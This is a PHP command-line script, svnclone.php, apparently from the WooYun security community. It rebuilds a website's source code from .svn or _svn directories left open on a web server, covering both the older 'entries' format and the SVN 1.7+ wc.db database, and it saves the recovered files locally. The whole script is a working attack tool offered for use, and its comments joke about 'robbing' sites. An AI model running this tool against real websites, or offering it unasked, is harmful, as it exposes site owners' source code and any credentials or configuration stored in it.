svnclone.php

#!/usr/bin/php -q
<?php
/**
 * 本脚本用于下载.svn目录未作权限限制的网站源码,适用于现有的各种svn版本.
 * 请用php5.3+来运行本脚本.想支持更低版本,请自行修改源码.不必通知我.
 * 作者：小雨@乌云
 * http://蛋疼.com
 * changelog:
 * 2.1 2012-3-28
 * .svn不成功时尝试使用_svn目录
 *
 * 2.0 2012-3-28
 * 增加了蓝色小药丸可读取最新的svn 1.7+
 * 目前人世间常见的svn版本都可以打劫了
 *
 * 1.0 2012-3-22
 * 初始版本，适用于svn 1.4～1.6 
 * 更低版本手头没有，无法检验
 */
#错误报告级别,只报告错误
error_reporting(E_ERROR);
#要显示错误
ini_set('display_errors','On');
define('VERSION', '2.1');
ini_set('user_agent','svn_clone(svn_clone v'.VERSION.'; by 小雨@乌云 email:z@zt.vc; http://蛋疼.com)');
#缓存目录，最好放在tmpfs上，我没做过缓存期的设置,所以想真正重新抓一次就必须手工删缓存目录
define('CACHE_DIR', '/tmp/cache');
#代码要保存到的路径，不同域名会自动分目录存放的
define('DATA_DIR',  '/data/src');
#调试信息级别
define('NONE',    0);#无条件报告
define('ERROR',   1);#错误
define('WARNING', 2);#警告
define('ALL',     3);#全部
define('EGGACHE', 4);#蛋疼
#获取参数
$opts = getopt('u:chv',array('url:','color','help','verbose'));
#获取传入的URL地址
$url = $opts['url']?:($opts['u']?:null);
#是否显示帮助
$help = isset($opts['h'])+isset($opts['help']);
#是否使用颜色
define('USECOLOR', isset($opts['c'])+isset($opts['color']));
#调试信息级别,v越多越详细,最多接受3个v, 函数内用，懒得写global,定义成常量吧.
define('VERBOSE', count($opts['v'])+count($opts['verbose']));
#本程序的名字,额，我不知道这个写法是否兼容别的shell.反正bash下用它判断是没错的
$cmd = basename($_SERVER['_'])=='php'?'php '.$_SERVER['PHP_SELF']:$_SERVER['_'];
if($help or !$url) {
    die("Usage:\t$cmd option [url]\n".
        "\t-u  --url\turl\t您想要通过svn克隆的网站url\n".
        "\t-c  --color\t\t使用控制台色彩输出\n".
        "\t-v  --verbose\t\t打印更多的详细信息,v越多越详细\n".
        "\t-h  --help\t\t本帮助信息\n".
        "Examples:\n".
        "\t$cmd -u http://localhost\n".
        "\t$cmd -u http://localhost -cvv\n".
        "\t$cmd -vu http://localhost\n".
        "\t$cmd -cvvu http://localhost\n".
        "\t$cmd --url http://localhost --color --verbose --verbose --verbose 有人勤奋到使用这种格式咩?! Orz.\n"
    );
}
#我真是蛋疼...写这行干啥呢...
debug("蛋疼是一种病,要淡定,不要蛋疼...\n", EGGACHE);
#发现有的站用_svn目录来代替.svn目录，针对这种现象，程序做一点改进,尝试两种方式
#但是遇到混合使用.svn和_svn的精神病目录就不好办了。
#我不想把程序改的那么恶心，就先这样吧。够正常人用了。
foreach(array('/.svn/','/_svn/') as $svn_dir)
{
    #只有在.svn不成功的情况下才会尝试其它形式的svn目录
    if(svn_clone($url))break;
}
#本程序的主函数
function svn_clone($url) {
    global $svn_dir;
    #去除多余的url结尾多余的斜杠
    $url=trim($url,'/');
    $entries_url = $url.$svn_dir.'entries';
    $content = get($entries_url);
    if($content===false) {
        return debug("$url 不是一个合法的svn工作副本!\n", ERROR);
    } elseif(strlen($content)<10) {
        #return debug("某个东西太短了,需要蓝色的小药丸！\n", ERROR);
        #蓝色小药丸 for svn 1.7+
        debug("尝试使用蓝色的小药丸来读取svn 1.7+的工作副本数据库\n", ALL);
        class_exists('SQLite3') or die("蓝色小药丸需要sqlite3扩展，请安装后再试...\r\n");
        $wcdb_url = $url.$svn_dir.'wc.db';
        $content = get($wcdb_url);
        if($content===false)
        {
            debug("$wcdb_url 不是一个合法的sqlite数据库文件!\n", ERROR);
            return;
        }
        #怕wc.db重名，给它生成一个不容易重复的名字，稍后自动删除它.
        $db_file = put(uniqid($url.'/temp.db.'),$content);
        register_shutdown_function('unlink', $db_file);
        $db = new SQLite3($db_file, SQLITE3_OPEN_READWRITE);
        $sql = 'select local_relpath as path,checksum as hash from nodes where kind="file"';
        $res = $db->query($sql);
        if($res===false)
        {
            $errmsg = $db->lastErrorMsg();
            debug("查询语句 $sql 错误: $errmsg\n", ERROR);
            return;
        }
        while($row = $res->fetchArray())
        {
            #根据数据库里存的哈希值拼出svn-base文件路径
            #哈希值看起来是这样的$sha1$a096870b5e1dc28aa8cea62238dc12c199a8ac8c
            $hash = substr(strrchr($row['hash'],'$'),1);
            $sub  = $hash[0].$hash[1];
            $svn_base = $url.$svn_dir.'pristine/'.$sub.'/'.$hash.'.svn-base';
            $content = get($svn_base);
            put($url.'/'.$row['path'],$content);
        }
        return;
    }
    #匹配出entries中的文件和目录名
    preg_match_all('/\f\n([^\n]+?)\s(\w+)\s/s', $content, $m) or debug("$entries_url 不包含文件或子目录\n", WARNING);
    $files = array_combine($m[1], $m[2]);
    foreach($files as $file=>$type) {
        if($type=='dir') {
            debug(">>> 进入 $file 目录\n", ALL);
            svn_clone($url.'/'.$file);
            debug("<<< 退出 $file 目录\n", ALL);
        } elseif($type=='file') {
            debug("*** 下载 $file 文件\n", ALL);
            fetch($url.$svn_dir.'text-base/'.$file.'.svn-base');
        }
    }
}
#抓取并保存
function fetch($text_base){
    put($text_base, get($text_base));
}
#带缓存的抓取
function get($url) {
    global $svn_dir;
    $file = CACHE_DIR.'/'.chunk_split(substr(md5($url),0,6),2,'/').urlencode($url);
    $dir = dirname($file);
    if(!is_dir($dir)) {
        mkdir($dir,0777,true);
    }
    debug("读取 {$url} 内容\n", ALL);
    if(!file_exists($file)) {
        $content = file_get_contents($url) or debug("读取 {$url} 内容为空\n", WARNING);
        if($content)
        {
            file_put_contents($file, $content) or debug("写入 {$file} 内容为空\n", WARNING);
        }
    } else {
        $content = file_get_contents($file) or debug("读缓存 {$file} 内容为空\n", WARNING);
    }
    return $content;
}
#保存到数据目录
function put($url, $content='')
{
    global $svn_dir;
    $file = DATA_DIR.substr(strchr($url,'://'),2);
    #改变了目录取法,适应不带.svn的路径,以前那三个dirname太傻了
    $dir  = strpos($file,$svn_dir)?substr($file,0,strpos($file, $svn_dir)):dirname($file);
    $file = basename($file,'.svn-base');
    #看看你那什么有多长?
    $len  = strlen($content);
    if(!is_dir($dir)) {
        debug("目录 {$dir} 不存在，自动创建\n", ALL);
        mkdir($dir,0777,true);
    }
    debug("写入 $file 到 $dir ($len bytes)\n", ALL);
    file_put_contents($dir.'/'.$file, $content) or debug("写入 {$file} 内容为空\n", WARNING);
    //返回保存之后的文件路径
    return $dir.'/'.$file;
}
#打印调试信息
function debug($msg, $level=0) {
    #颜色定义 0:灰, 1:红, 2:绿, 3:黄, 4:蓝, 5:粉, 6:青, 7:白
    static $colors = array(NONE=>0, ERROR=>1, WARNING=>2, ALL=>3, EGGACHE=>4);
    VERBOSE>=$level && (USECOLOR?printf("\033[1;3{$colors[$level]}m$msg\033[m", $color, $msg):print $msg);
}

#EOF